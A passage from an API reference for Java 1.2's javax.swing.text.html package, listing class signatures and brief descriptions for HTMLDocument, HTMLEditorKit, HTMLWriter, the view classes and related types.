 | public static final HTML.Tag S ;
 | public static final HTML.Tag SAMP ;
 | public static final HTML.Tag SCRIPT ;
 | public static final HTML.Tag SELECT ;
 | public static final HTML.Tag SMALL ;
 | public static final HTML.Tag STRIKE ;
 | public static final HTML.Tag STRONG ;
 | public static final HTML.Tag STYLE ;
 | public static final HTML.Tag SUB ;
 | public static final HTML.Tag SUP ;
 | public static final HTML.Tag TABLE ;
 | public static final HTML.Tag TD ;
 | public static final HTML.Tag TEXTAREA ;
 | public static final HTML.Tag TH ;
 | public static final HTML.Tag TITLE ;
 | public static final HTML.Tag TR ;
 | public static final HTML.Tag TT ;
 | public static final HTML.Tag U ;
 | public static final HTML.Tag UL ;
 | public static final HTML.Tag VAR ;
// | Public Instance Methods
 | public boolean breaksFlow ();
 | public boolean isBlock ();
 | public boolean isPreformatted ();
// | Public Methods Overriding Object
 | public String toString ();
}

Subclasses: HTML.UnknownTag

Passed To: Too many methods to list.

Returned By: HTML.{getAllTags(), getTag()}, HTMLDocument.Iterator.getTag(), javax.swing.text.html.parser.TagElement.getHTMLTag()

Type Of: Too many fields to list.

HTML.UnknownTag | Java 1.2
javax.swing.text.html | serializable

This HTML.Tag subclass is used to represent nonstandard tags that the HTML parser does not recognize.

public static class HTML.UnknownTag extends HTML.Tag implements Serializable {
// | Public Constructors
 | public UnknownTag (String id);
// | Public Methods Overriding Object
 | public boolean equals (Object obj);
 | public int hashCode ();
}
HTMLDocument | Java 1.2
javax.swing.text.html | serializable

This class represents an HTML document, optionally augmented with CSS style sheets. The document is composed of a tree of BlockElement and RunElement objects, each of which has an HTML.Tag object specified as the value of its StyleContext.NameAttribute attribute. setBase() specifies a base URL relative to which hyperlinks in the document are interpreted. setTokenThreshold() specifies how many parsed tokens should be parsed before they are inserted into the document. setPreservesUnknownTags() specifies whether unknown tags in a document should be saved in the document structure or discarded. If you are not writing the document back out, they usually can be discarded. getStyleSheet() returns a StyleSheet object that represents any CSS style sheet that appeared in the document itself. getIterator() returns an HTMLDocument.Iterator object that can be used to find all tags of a given type in the document. The getReader() methods return an HTMLDocument.HTMLReader object that converts method calls from the HTML parser into document elements. Subclasses that want to perform customized HTML parsing should override these methods to return an appropriately customized subclass of HTMLReader.

public class HTMLDocument extends DefaultStyledDocument {
// | Public Constructors
 | public HTMLDocument (); |
 | public HTMLDocument (StyleSheet styles); |
 | public HTMLDocument (AbstractDocument.Content c, StyleSheet styles); |
// | Public Constants
 | public static final String AdditionalComments ; | ="AdditionalComments"
// | Inner Classes
 | ; |
 | ; |
 | ; |
 | ; |
// | Property Accessor Methods (by property name)
 | public java.net.URL getBase (); | default:null
 | public void setBase (java.net.URL u); |
 | public boolean getPreservesUnknownTags (); | default:true
 | public void setPreservesUnknownTags (boolean preservesTags); |
 | public StyleSheet getStyleSheet (); |
 | public int getTokenThreshold (); | default:2147483647
 | public void setTokenThreshold (int n); |
// | Public Instance Methods
 | public HTMLDocument.Iterator getIterator (HTML.Tag t); |
 | public HTMLEditorKit.ParserCallback getReader (int pos); |
 | public HTMLEditorKit.ParserCallback getReader (int pos, int popDepth, int pushDepth, HTML.Tag insertTag); |
 | public void processHTMLFrameHyperlinkEvent (HTMLFrameHyperlinkEvent e); |
// | Public Methods Overriding DefaultStyledDocument
 | public void setParagraphAttributes (int offset, int length, AttributeSet s, boolean replace); |
// | Protected Methods Overriding DefaultStyledDocument
 | protected void create (DefaultStyledDocument.ElementSpec[ ] data); |
 | protected AbstractDocument.AbstractElement createDefaultRoot (); |
 | protected void insert (int offset, DefaultStyledDocument.ElementSpec[ ] data) throws BadLocationException; |
 | protected void insertUpdate (AbstractDocument.DefaultDocumentEvent chng, AttributeSet attr); |
// | Protected Methods Overriding AbstractDocument
 | protected javax.swing.text.Element createBranchElement (javax.swing.text.Element parent, AttributeSet a); |
 | protected javax.swing.text.Element createLeafElement (javax.swing.text.Element parent, AttributeSet a, int p0, int p1); |
 | protected void fireChangedUpdate (javax.swing.event.DocumentEvent e); |
 | protected void fireUndoableEditUpdate (javax.swing.event.UndoableEditEvent e); |
}

Hierarchy: Object-->AbstractDocument(Document,Serializable)-->DefaultStyledDocument(StyledDocument(Document))-->HTMLDocument

Passed To: HTMLEditorKit.insertHTML(), HTMLEditorKit.HTMLTextAction.{elementCountToTag(), findElementMatchingTag(), getElementsAt()}, HTMLEditorKit.InsertHTMLTextAction.{insertAtBoundry(), insertHTML()}, HTMLWriter.HTMLWriter()

Returned By: HTMLEditorKit.HTMLTextAction.getHTMLDocument()

HTMLDocument.BlockElement | Java 1.2
javax.swing.text.html | serializable

This class is used to represent block elements (i.e., elements that contain other elements) of an HTML document.

public class HTMLDocument.BlockElement extends AbstractDocument.BranchElement {
// | Public Constructors
 | public BlockElement (javax.swing.text.Element parent, AttributeSet a); |
// | Public Methods Overriding AbstractDocument.BranchElement
 | public String getName (); |
// | Public Methods Overriding AbstractDocument.AbstractElement
 | public AttributeSet getResolveParent (); | constant
}
HTMLDocument.HTMLReader Java 1.2
javax.swing.text.html

This class implements the HTMLEditorKit.ParserCallback interface and serves as an adapter between the HTML parser of the javax.swing.text.html.parser package and the HTMLDocument class. The parser invokes methods of the HTMLReader object, and the HTMLReader is responsible for converting those methods into content in the HTMLDocument. This class defines a number of inner classes of type HTMLDocument.HTMLReader.TagAction. These classes define special code to be executed when the parser encounters particular start and end tags. HTMLDocument.HTMLReader subclasses can perform customized HTML parsing by defining new TagAction subclasses and associating them with specific HTML tags by calling registerTag().

public class HTMLDocument.HTMLReader extends HTMLEditorKit.ParserCallback {
// | Public Constructors
 | public HTMLReader (int offset);
 | public HTMLReader (int offset, int popDepth, int pushDepth, HTML.Tag insertTag);
// | Inner Classes
 | ;
 | ;
 | ;
 | ;
 | ;
 | ;
 | ;
 | ;
 | ;
// | Public Methods Overriding HTMLEditorKit.ParserCallback
 | public void flush () throws BadLocationException;
 | public void handleComment (char[ ] data, int pos);
 | public void handleEndTag (HTML.Tag t, int pos);
 | public void handleSimpleTag (HTML.Tag t, MutableAttributeSet a, int pos);
 | public void handleStartTag (HTML.Tag t, MutableAttributeSet a, int pos);
 | public void handleText (char[ ] data, int pos);
// | Protected Instance Methods
 | protected void addContent (char[ ] data, int offs, int length);
 | protected void addContent (char[ ] data, int offs, int length, boolean generateImpliedPIfNecessary);
 | protected void addSpecialElement (HTML.Tag t, MutableAttributeSet a);
 | protected void blockClose (HTML.Tag t);
 | protected void blockOpen (HTML.Tag t, MutableAttributeSet attr);
 | protected void popCharacterStyle ();
 | protected void preContent (char[ ] data);
 | protected void pushCharacterStyle ();
 | protected void registerTag (HTML.Tag t, HTMLDocument.HTMLReader.TagAction a);
 | protected void textAreaContent (char[ ] data);
// | Protected Instance Fields
 | protected MutableAttributeSet charAttr ;
 | protected java.util.Vector parseBuffer ;
}
HTMLDocument.HTMLReader.BlockAction Java 1.2
javax.swing.text.html

This TagAction handles blocks, such as <TD> and <DIV> tags.

public class HTMLDocument.HTMLReader.BlockAction extends HTMLDocument.HTMLReader.TagAction {
// | Public Constructors
 | public BlockAction ();
// | Public Methods Overriding HTMLDocument.HTMLReader.TagAction
 | public void end (HTML.Tag t);
 | public void start (HTML.Tag t, MutableAttributeSet attr);
}

Subclasses: HTMLDocument.HTMLReader.ParagraphAction, HTMLDocument.HTMLReader.PreAction

HTMLDocument.HTMLReader.CharacterAction Java 1.2
javax.swing.text.html

This TagAction handles character elements, such as <B> and <FONT> tags.

public class HTMLDocument.HTMLReader.CharacterAction extends HTMLDocument.HTMLReader.TagAction {
// | Public Constructors
 | public CharacterAction ();
// | Public Methods Overriding HTMLDocument.HTMLReader.TagAction
 | public void end (HTML.Tag t);
 | public void start (HTML.Tag t, MutableAttributeSet attr);
}
HTMLDocument.HTMLReader.FormAction Java 1.2
javax.swing.text.html

This TagAction handles form elements, such as <INPUT> and <SELECT> tags.

public class HTMLDocument.HTMLReader.FormAction extends HTMLDocument.HTMLReader.SpecialAction {
// | Public Constructors
 | public FormAction ();
// | Public Methods Overriding HTMLDocument.HTMLReader.SpecialAction
 | public void start (HTML.Tag t, MutableAttributeSet attr);
// | Public Methods Overriding HTMLDocument.HTMLReader.TagAction
 | public void end (HTML.Tag t);
}
HTMLDocument.HTMLReader.HiddenAction Java 1.2
javax.swing.text.html

This TagAction handles elements that have no visual appearance, such as <LINK> and <MAP> tags.

public class HTMLDocument.HTMLReader.HiddenAction extends HTMLDocument.HTMLReader.TagAction {
// | Public Constructors
 | public HiddenAction ();
// | Public Methods Overriding HTMLDocument.HTMLReader.TagAction
 | public void end (HTML.Tag t);
 | public void start (HTML.Tag t, MutableAttributeSet a);
}
HTMLDocument.HTMLReader.IsindexAction Java 1.2
javax.swing.text.html

This TagAction handles the <ISINDEX> tag.

public class HTMLDocument.HTMLReader.IsindexAction extends HTMLDocument.HTMLReader.TagAction {
// | Public Constructors
 | public IsindexAction ();
// | Public Methods Overriding HTMLDocument.HTMLReader.TagAction
 | public void start (HTML.Tag t, MutableAttributeSet a);
}
HTMLDocument.HTMLReader.ParagraphAction Java 1.2
javax.swing.text.html

This TagAction handles paragraph elements, such as <P> and <H1> tags.

public class HTMLDocument.HTMLReader.ParagraphAction extends HTMLDocument.HTMLReader.BlockAction {
// | Public Constructors
 | public ParagraphAction ();
// | Public Methods Overriding HTMLDocument.HTMLReader.BlockAction
 | public void end (HTML.Tag t);
 | public void start (HTML.Tag t, MutableAttributeSet a);
}
HTMLDocument.HTMLReader.PreAction Java 1.2
javax.swing.text.html

This TagAction handles the <PRE> tag.

public class HTMLDocument.HTMLReader.PreAction extends HTMLDocument.HTMLReader.BlockAction {
// | Public Constructors
 | public PreAction ();
// | Public Methods Overriding HTMLDocument.HTMLReader.BlockAction
 | public void end (HTML.Tag t);
 | public void start (HTML.Tag t, MutableAttributeSet attr);
}
HTMLDocument.HTMLReader.SpecialAction Java 1.2
javax.swing.text.html

This TagAction handles elements that require special handling, such as <OBJECT> and <FRAME> tags.

public class HTMLDocument.HTMLReader.SpecialAction extends HTMLDocument.HTMLReader.TagAction {
// | Public Constructors
 | public SpecialAction ();
// | Public Methods Overriding HTMLDocument.HTMLReader.TagAction
 | public void start (HTML.Tag t, MutableAttributeSet a);
}

Subclasses: HTMLDocument.HTMLReader.FormAction

HTMLDocument.HTMLReader.TagAction Java 1.2
javax.swing.text.html

This class defines methods that are called when the HTML parser encounters start and end tags of a particular type. To customize HTML parsing, implement a subclass of TagAction, create an instance, and register it with an HTMLReader subclass by calling registerTag().

public class HTMLDocument.HTMLReader.TagAction {
// | Public Constructors
 | public TagAction (); |
// | Public Instance Methods
 | public void end (HTML.Tag t); | empty
 | public void start (HTML.Tag t, MutableAttributeSet a); | empty
}

Subclasses: HTMLDocument.HTMLReader.BlockAction, HTMLDocument.HTMLReader.CharacterAction, HTMLDocument.HTMLReader.HiddenAction, HTMLDocument.HTMLReader.IsindexAction, HTMLDocument.HTMLReader.SpecialAction

Passed To: HTMLDocument.HTMLReader.registerTag()

HTMLDocument.Iterator Java 1.2
javax.swing.text.html

This class is used to iterate through an HTMLDocument, returning only tags of a specified type. This class is abstract and cannot be instantiated. Call the getIterator() method of HTMLDocument to obtain an instance that returns all instances of a specified HTML.Tag. getAttributes(), getStartOffset(), and getEndOffset() return information about the current tag. next() moves the iterator to the next tag, and isValid() returns true if there is a current tag or false if there are no more tags.

public abstract static class HTMLDocument.Iterator {
// | Public Constructors
 | public Iterator ();
// | Property Accessor Methods (by property name)
 | public abstract AttributeSet getAttributes ();
 | public abstract int getEndOffset ();
 | public abstract int getStartOffset ();
 | public abstract HTML.Tag getTag ();
 | public abstract boolean isValid ();
// | Public Instance Methods
 | public abstract void next ();
}

Returned By: HTMLDocument.getIterator()

HTMLDocument.RunElement | Java 1.2
javax.swing.text.html | serializable

This class is used to represent content elements of an HTML document.

public class HTMLDocument.RunElement extends AbstractDocument.LeafElement {
// | Public Constructors
 | public RunElement (javax.swing.text.Element parent, AttributeSet a, int offs0, int offs1); |
// | Public Methods Overriding AbstractDocument.LeafElement
 | public String getName (); |
// | Public Methods Overriding AbstractDocument.AbstractElement
 | public AttributeSet getResolveParent (); | constant
}
HTMLEditorKit | Java 1.2
javax.swing.text.html | cloneable serializable

This class is used to customize a JEditorPane component to display and edit HTML documents. Most applications need do nothing more than instantiate an HTMLEditorKit and pass it to the setEditorKit() method of a JEditorPane. The write() method converts the contents of an HTMLDocument into HTML text and writes it to the specified stream. The read() method parses HTML text from a stream and creates a corresponding element structure in the specified HTMLDocument. insertHTML() parses HTML text from a string and inserts it into the specified HTMLDocument.

You can customize the appearance of HTML text displayed using an HTMLEditorKit by passing a StyleSheet object to setStyleSheet(). Other customizations require you to subclass HTMLEditorKit and override some of its methods. Override getViewFactory() if you want to use customized View subclasses to display certain HTML document elements. Override createDefaultDocument() if you want to change the properties of the default HTMLDocument or if you want to return a subclass of HTMLDocument. Override getParser() if you want to use a custom HTML parser implementation, instead of the default parser implemented in javax.swing.text.html.parser.

public class HTMLEditorKit extends StyledEditorKit {
// | Public Constructors
 | public HTMLEditorKit (); |
// | Public Constants
 | public static final String BOLD_ACTION ; | ="html-bold-action"
 | public static final String COLOR_ACTION ; | ="html-color-action"
 | public static final String DEFAULT_CSS ; | ="default.css"
 | public static final String FONT_CHANGE_BIGGER ; | ="html-font-bigger"
 | public static final String FONT_CHANGE_SMALLER ; | ="html-font-smaller"
 | public static final String IMG_ALIGN_BOTTOM ; | ="html-image-align-bottom"
 | public static final String IMG_ALIGN_MIDDLE ; | ="html-image-align-middle"
 | public static final String IMG_ALIGN_TOP ; | ="html-image-align-top"
 | public static final String IMG_BORDER ; | ="html-image-border"
 | public static final String ITALIC_ACTION ; | ="html-italic-action"
 | public static final String LOGICAL_STYLE_ACTION ; | ="html-logical-style-action"
 | public static final String PARA_INDENT_LEFT ; | ="html-para-indent-left"
 | public static final String PARA_INDENT_RIGHT ; | ="html-para-indent-right"
// | Inner Classes
 | ; |
 | ; |
 | ; |
 | ; |
 | ; |
 | ; |
// | Public Instance Methods
 | public StyleSheet getStyleSheet (); |
 | public void insertHTML (HTMLDocument doc, int offset, String html, int popDepth, int pushDepth, HTML.Tag insertTag) throws BadLocationException, java.io.IOException; |
 | public void setStyleSheet (StyleSheet s); |
// | Public Methods Overriding StyledEditorKit
 | public Object clone (); |
 | public Document createDefaultDocument (); |
 | public void deinstall (JEditorPane c); |
 | public Action[ ] getActions (); |
 | public MutableAttributeSet getInputAttributes (); | default:NamedStyle
 | public ViewFactory getViewFactory (); | default:HTMLFactory
 | public void install (JEditorPane c); |
// | Protected Methods Overriding StyledEditorKit
 | protected void createInputAttributes (javax.swing.text.Element element, MutableAttributeSet set); |
// | Public Methods Overriding DefaultEditorKit
 | public String getContentType (); | default:"text/html"
 | public void read (java.io.Reader in, Document doc, int pos) throws java.io.IOException, BadLocationException; |
 | public void write (java.io.Writer out, Document doc, int pos, int len) throws java.io.IOException, BadLocationException; |
// | Protected Instance Methods
 | protected HTMLEditorKit.Parser getParser (); |
}

Hierarchy: Object-->EditorKit(Cloneable,Serializable)-->DefaultEditorKit-->StyledEditorKit-->HTMLEditorKit

Returned By: HTMLEditorKit.HTMLTextAction.getHTMLEditorKit()

HTMLEditorKit.HTMLFactory Java 1.2
javax.swing.text.html

This class is a ViewFactory for HTML documents. Its create() method returns a View object that is appropriate for the display of a given Element object. The View object is an instance of one of the View subclasses defined in this package.

public static class HTMLEditorKit.HTMLFactory implements ViewFactory {
// | Public Constructors
 | public HTMLFactory ();
// | Methods Implementing ViewFactory
 | public View create (javax.swing.text.Element elem);
}
HTMLEditorKit.HTMLTextAction | Java 1.2
javax.swing.text.html | cloneable serializable

This class is an abstract Action implementation that provides protected convenience methods that may be helpful to Action implementations that manipulate or edit an HTMLDocument.

public abstract static class HTMLEditorKit.HTMLTextAction extends StyledEditorKit.StyledTextAction {
// | Public Constructors
 | public HTMLTextAction (String name);
// | Protected Instance Methods
 | protected int elementCountToTag (HTMLDocument doc, int offset, HTML.Tag tag);
 | protected javax.swing.text.Element findElementMatchingTag (HTMLDocument doc, int offset, HTML.Tag tag);
 | protected javax.swing.text.Element[ ] getElementsAt (HTMLDocument doc, int offset);
 | protected HTMLDocument getHTMLDocument (JEditorPane e);
 | protected HTMLEditorKit getHTMLEditorKit (JEditorPane e);
}

Subclasses: HTMLEditorKit.InsertHTMLTextAction

HTMLEditorKit.InsertHTMLTextAction | Java 1.2
javax.swing.text.html | cloneable serializable

This Action implementation can be used to insert HTML text into an HTML document at the current location. You can create custom instances of this class and bind them to KeyStroke objects to provide custom editing actions for your users. When you create an InsertHTMLTextAction instance, you must specify the string of HTML text to be inserted and two HTML.Tag objects. The first HTML.Tag specifies the parent tag of the inserted text. For example, if the text you are inserting belongs in a paragraph element, you specify HTML.Tag.P. If the text you are inserting is a <DIV> or a <TABLE>, you specify HTML.Tag.BODY. The second HTML.Tag you must specify is the first tag of the parsed HTML string that is actually being inserted. For example, you may want to insert only a <TD> tag but may have to specify an HTML string that contains <TABLE> and <TR> tags so that the parser can correctly parse the HTML text. In this case, your second HTML.Tag argument is HTML.Tag.TD.

public static class HTMLEditorKit.InsertHTMLTextAction extends HTMLEditorKit.HTMLTextAction {
// | Public Constructors
 | public InsertHTMLTextAction (String name, String html, HTML.Tag parentTag, HTML.Tag addTag);
 | public InsertHTMLTextAction (String name, String html, HTML.Tag parentTag, HTML.Tag addTag, HTML.Tag alternateParentTag, HTML.Tag alternateAddTag);
// | Public Methods Overriding AbstractAction
 | public void actionPerformed (java.awt.event.ActionEvent ae);
// | Protected Instance Methods
 | protected void insertAtBoundry (JEditorPane editor, HTMLDocument doc, int offset, javax.swing.text.Element insertElement, String html, HTML.Tag parentTag, HTML.Tag addTag);
 | protected void insertHTML (JEditorPane editor, HTMLDocument doc, int offset, String html, int popDepth, int pushDepth, HTML.Tag addTag);
// | Protected Instance Fields
 | protected HTML.Tag addTag ;
 | protected HTML.Tag alternateAddTag ;
 | protected HTML.Tag alternateParentTag ;
 | protected String html ;
 | protected HTML.Tag parentTag ;
}
HTMLEditorKit.LinkController | Java 1.2
javax.swing.text.html | serializable

This class is a MouseAdapter that listens for mouse clicks and responds when the user clicks the mouse on a hyperlink. An instance of this class is installed on a JEditorPane by the install() method of the HTMLEditorKit.

public static class HTMLEditorKit.LinkController extends java.awt.event.MouseAdapter implements Serializable {
// | Public Constructors
 | public LinkController ();
// | Public Methods Overriding MouseAdapter
 | public void mouseClicked (java.awt.event.MouseEvent e);
// | Protected Instance Methods
 | protected void activateLink (int pos, JEditorPane editor);
}
HTMLEditorKit.Parser Java 1.2
javax.swing.text.html

This is the abstract superclass of any class that wants to serve as an HTML parser for an HTMLEditorKit. The parse() method must read HTML text from the specified stream and convert the structure of the HTML text into a sequence of calls to the appropriate methods of the specified HTMLEditorKit.ParserCallback object. It is the responsibility of the ParserCallback object to initialize the HTMLDocument as appropriate in response to those method calls. If the ignoreCharSet argument is true, the parser ignores any HTML <META> tags that specify the document encoding. If this argument is false and the parser encounters such a tag, it should compare the document-specified encoding to the encoding used by the Reader stream from which it is reading. If the encodings do not match, it should throw a javax.swing.text.ChangedCharSetException.

Most applications can rely on the full-featured HTML parser provided by the javax.swing.text.html.parser package and do not need to subclass this class. The default parser is DTD-driven and can also be customized by providing a custom DTD. If you implement your own Parser subclass or customize the default parser, you must subclass HTMLEditorKit and override the getParser() method.

public abstract static class HTMLEditorKit.Parser {
// | Public Constructors
 | public Parser ();
// | Public Instance Methods
 | public abstract void parse (java.io.Reader r, HTMLEditorKit.ParserCallback cb, boolean ignoreCharSet) throws java.io.IOException;
}

Subclasses: javax.swing.text.html.parser.ParserDelegator

Returned By: HTMLEditorKit.getParser()

HTMLEditorKit.ParserCallback Java 1.2
javax.swing.text.html

This class defines the methods that are invoked by an HTMLEditorKit.Parser to describe the structure of an HTML document. The methods should be implemented to add appropriate content to an HTMLDocument. HTMLEditorKit uses an HTMLDocument.HTMLReader object as its default implementation of ParserCallback.

public static class HTMLEditorKit.ParserCallback {
// | Public Constructors
 | public ParserCallback (); |
// | Public Instance Methods
 | public void flush () throws BadLocationException; | empty
 | public void handleComment (char[ ] data, int pos); | empty
 | public void handleEndTag (HTML.Tag t, int pos); | empty
 | public void handleError (String errorMsg, int pos); | empty
 | public void handleSimpleTag (HTML.Tag t, MutableAttributeSet a, int pos); | empty
 | public void handleStartTag (HTML.Tag t, MutableAttributeSet a, int pos); | empty
 | public void handleText (char[ ] data, int pos); | empty
}

Subclasses: HTMLDocument.HTMLReader

Passed To: HTMLEditorKit.Parser.parse(), javax.swing.text.html.parser.DocumentParser.parse(), javax.swing.text.html.parser.ParserDelegator.parse()

Returned By: HTMLDocument.getReader()

HTMLFrameHyperlinkEvent | Java 1.2
javax.swing.text.html | serializable event

This class is an extension of HyperlinkEvent that is used when a hyperlink in one frame refers to another frame with an HTML TARGET attribute. getSourceElement() returns the Element object in the HTMLDocument that corresponds to the <FRAME> tag of the source frame. getTarget() returns a string that specifies the target frame. This may be a frame name or one of the standard special target names, "_self", "_parent", or "_top". The processHTMLFrameHyperlinkEvent() method of HTMLDocument can handle events of this type.

public class HTMLFrameHyperlinkEvent extends javax.swing.event.HyperlinkEvent {
// | Public Constructors
 | public HTMLFrameHyperlinkEvent (Object source, javax.swing.event.HyperlinkEvent.EventType type, java.net.URL targetURL, String targetFrame);
 | public HTMLFrameHyperlinkEvent (Object source, javax.swing.event.HyperlinkEvent.EventType type, java.net.URL targetURL, javax.swing.text.Element sourceElement, String targetFrame);
 | public HTMLFrameHyperlinkEvent (Object source, javax.swing.event.HyperlinkEvent.EventType type, java.net.URL targetURL, String desc, String targetFrame);
 | public HTMLFrameHyperlinkEvent (Object source, javax.swing.event.HyperlinkEvent.EventType type, java.net.URL targetURL, String desc, javax.swing.text.Element sourceElement, String targetFrame);
// | Public Instance Methods
 | public javax.swing.text.Element getSourceElement ();
 | public String getTarget ();
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->javax.swing.event.HyperlinkEvent-->HTMLFrameHyperlinkEvent

Passed To: HTMLDocument.processHTMLFrameHyperlinkEvent()

HTMLWriter Java 1.2
javax.swing.text.html

This class knows how to convert an HTMLDocument to textual form and write it to a specified stream. To use an HTMLWriter, simply pass an HTMLDocument and a Writer stream to the constructor, then call the public write() method. The various protected methods are used internally to output the document and can be overridden in a subclass to customize the HTML output process.

public class HTMLWriter extends AbstractWriter {
// | Public Constructors
 | public HTMLWriter (java.io.Writer w, HTMLDocument doc);
 | public HTMLWriter (java.io.Writer w, HTMLDocument doc, int pos, int len);
// | Public Methods Overriding AbstractWriter
 | public void write () throws java.io.IOException, BadLocationException;
// | Protected Methods Overriding AbstractWriter
 | protected void decrIndent ();
 | protected void incrIndent ();
 | protected void indent () throws java.io.IOException;
 | protected void setIndentSpace (int space);
 | protected void setLineLength (int l);
 | protected void text (javax.swing.text.Element elem) throws BadLocationException, java.io.IOException;
 | protected void write (String content) throws java.io.IOException;
 | protected void write (char ch) throws java.io.IOException;
 | protected void writeAttributes (AttributeSet attr) throws java.io.IOException;
// | Protected Instance Methods
 | protected void closeOutUnwantedEmbeddedTags (AttributeSet attr) throws java.io.IOException;
 | protected void comment (javax.swing.text.Element elem) throws BadLocationException, java.io.IOException;
 | protected void emptyTag (javax.swing.text.Element elem) throws BadLocationException, java.io.IOException;
 | protected void endTag (javax.swing.text.Element elem) throws java.io.IOException;
 | protected boolean isBlockTag (AttributeSet attr);
 | protected boolean matchNameAttribute (AttributeSet attr, HTML.Tag tag);
 | protected void selectContent (AttributeSet attr) throws java.io.IOException;
 | protected void startTag (javax.swing.text.Element elem) throws java.io.IOException, BadLocationException;
 | protected boolean synthesizedElement (javax.swing.text.Element elem);
 | protected void textAreaContent (AttributeSet attr) throws BadLocationException, java.io.IOException;
 | protected void writeEmbeddedTags (AttributeSet attr) throws java.io.IOException;
 | protected void writeOption (Option option) throws java.io.IOException;
}

Hierarchy: Object-->AbstractWriter-->HTMLWriter

InlineView Java 1.2
javax.swing.text.html

This View class displays styled text that appears in an HTML document. It extends javax.swing.text.LabelView to add support for CSS attributes.

public class InlineView extends LabelView {
// | Public Constructors
 | public InlineView (javax.swing.text.Element elem);
// | Public Methods Overriding LabelView
 | public void changedUpdate (javax.swing.event.DocumentEvent e, java.awt.Shape a, ViewFactory f);
// | Protected Methods Overriding LabelView
 | protected void setPropertiesFromAttributes ();
// | Public Methods Overriding View
 | public AttributeSet getAttributes ();
// | Protected Instance Methods
 | protected StyleSheet getStyleSheet ();
}

Hierarchy: Object-->View(SwingConstants)-->LabelView-->InlineView

ListView Java 1.2
javax.swing.text.html

This View class displays HTML list elements.

public class ListView extends BlockView {
// | Public Constructors
 | public ListView (javax.swing.text.Element elem);
// | Public Methods Overriding BlockView
 | public float getAlignment (int axis);
 | public void paint (java.awt.Graphics g, java.awt.Shape allocation);
// | Protected Methods Overriding BlockView
 | protected void setPropertiesFromAttributes ();
// | Protected Methods Overriding BoxView
 | protected void paintChild (java.awt.Graphics g, java.awt.Rectangle alloc, int index);
}

Hierarchy: Object-->View(SwingConstants)-->CompositeView-->BoxView-->BlockView-->ListView

MinimalHTMLWriter Java 1.2
javax.swing.text.html

This class knows how to convert an arbitrary StyledDocument to simple HTML text. Its use is similar to the use of HTMLWriter. Because there is not an exact mapping between the character and paragraph attributes supported by StyledDocument objects and those defined by standard HTML tags and attributes, MinimalHTMLWriter relies heavily on CSS attributes in the HTML text it outputs.

public class MinimalHTMLWriter extends AbstractWriter {
// | Public Constructors
 | public MinimalHTMLWriter (java.io.Writer w, StyledDocument doc); |
 | public MinimalHTMLWriter (java.io.Writer w, StyledDocument doc, int pos, int len); |
// | Public Methods Overriding AbstractWriter
 | public void write () throws java.io.IOException, BadLocationException; |
// | Protected Methods Overriding AbstractWriter
 | protected void text (javax.swing.text.Element elem) throws java.io.IOException, BadLocationException; |
 | protected void writeAttributes (AttributeSet attr) throws java.io.IOException; |
// | Protected Instance Methods
 | protected void endFontTag () throws java.io.IOException; |
 | protected boolean inFontTag (); |
 | protected boolean isText (javax.swing.text.Element elem); |
 | protected void startFontTag (String style) throws java.io.IOException; |
 | protected void writeBody () throws java.io.IOException, BadLocationException; |
 | protected void writeComponent (javax.swing.text.Element elem) throws java.io.IOException; | empty
 | protected void writeContent (javax.swing.text.Element elem, boolean needsIndenting) throws java.io.IOException, BadLocationException; |
 | protected void writeEndParagraph () throws java.io.IOException; |
 | protected void writeEndTag (String endTag) throws java.io.IOException; |
 | protected void writeHeader () throws java.io.IOException; |
 | protected void writeHTMLTags (AttributeSet attr) throws java.io.IOException; |
 | protected void writeImage (javax.swing.text.Element elem) throws java.io.IOException; | empty
 | protected void writeLeaf (javax.swing.text.Element elem) throws java.io.IOException; |
 | protected void writeNonHTMLAttributes (AttributeSet attr) throws java.io.IOException; |
 | protected void writeStartParagraph (javax.swing.text.Element elem) throws java.io.IOException; |
 | protected void writeStartTag (String tag) throws java.io.IOException; |
 | protected void writeStyles () throws java.io.IOException; |
}

Hierarchy: Object-->AbstractWriter-->MinimalHTMLWriter

ObjectView Java 1.2
javax.swing.text.html

This View subclass dynamically loads, instantiates, and displays an arbitrary java.awt.Component object specified by the CLASSID attribute of an HTML <OBJECT> tag.

public class ObjectView extends ComponentView {
// | Public Constructors
 | public ObjectView (javax.swing.text.Element elem);
// | Protected Methods Overriding ComponentView
 | protected Component createComponent ();
}

Hierarchy: Object-->View(SwingConstants)-->ComponentView-->ObjectView

Option Java 1.2
javax.swing.text.html

This class is used internally by HTMLDocument to represent <OPTION> tags within a <SELECT> tag.

public class Option {
// | Public Constructors
 | public Option (AttributeSet attr);
// | Property Accessor Methods (by property name)
 | public AttributeSet getAttributes ();
 | public String getLabel ();
 | public void setLabel (String label);
 | public boolean isSelected ();
 | public String getValue ();
// | Public Methods Overriding Object
 | public String toString ();
// | Protected Instance Methods
 | protected void setSelection (boolean state);
}

Passed To: HTMLWriter.writeOption()

ParagraphView Java 1.2
javax.swing.text.html

This class displays HTML paragraph elements. It extends the javax.swing.text.ParagraphView class to add support for CSS attributes.

public class ParagraphView extends javax.swing.text.ParagraphView {
// | Public Constructors
 | public ParagraphView (javax.swing.text.Element elem);
// | Public Methods Overriding ParagraphView
 | public void changedUpdate (javax.swing.event.DocumentEvent e, java.awt.Shape a, ViewFactory f);
 | public void paint (java.awt.Graphics g, java.awt.Shape a);
// | Protected Methods Overriding ParagraphView
 | protected SizeRequirements calculateMinorAxisRequirements (int axis, SizeRequirements r);
 | protected void setPropertiesFromAttributes ();
// | Public Methods Overriding BoxView
 | public float getMaximumSpan (int axis);
 | public float getMinimumSpan (int axis);
 | public float getPreferredSpan (int axis);
// | Public Methods Overriding CompositeView
 | public void setParent (View parent);
// | Public Methods Overriding View
 | public AttributeSet getAttributes ();
 | public boolean isVisible ();
// | Protected Instance Methods
 | protected StyleSheet getStyleSheet ();
}

Hierarchy: Object-->View(SwingConstants)-->CompositeView-->BoxView-->javax.swing.text.ParagraphView(TabExpander)-->javax.swing.text.html.ParagraphView

StyleSheet | Java 1.2
javax.swing.text.html | serializable

This class is a StyleContext subclass that represents a CSS style sheet. In Java 1.2, it is only partially implemented. However, it can parse CSS style sheets with the loadRules() method. View objects are the primary user of this class. A View object calls getViewAttributes() to obtain an appropriate AttributeSet that takes all cascading styles into account to use when displaying itself.

StyleSheet also defines two inner classes that perform certain common drawing tasks for HTML View classes. The getBoxPainter() and getListPainter() methods return immutable (possibly shared and cached) instances of these inner classes that are suitable for drawing text boxes and list items for a given AttributeSet. Various View implementations use this cache for efficiency.

public class StyleSheet extends StyleContext {
// | Public Constructors
 | public StyleSheet ();
// | Inner Classes
 | ;
 | ;
// | Public Class Methods
 | public static int getIndexOfSize (float pt);
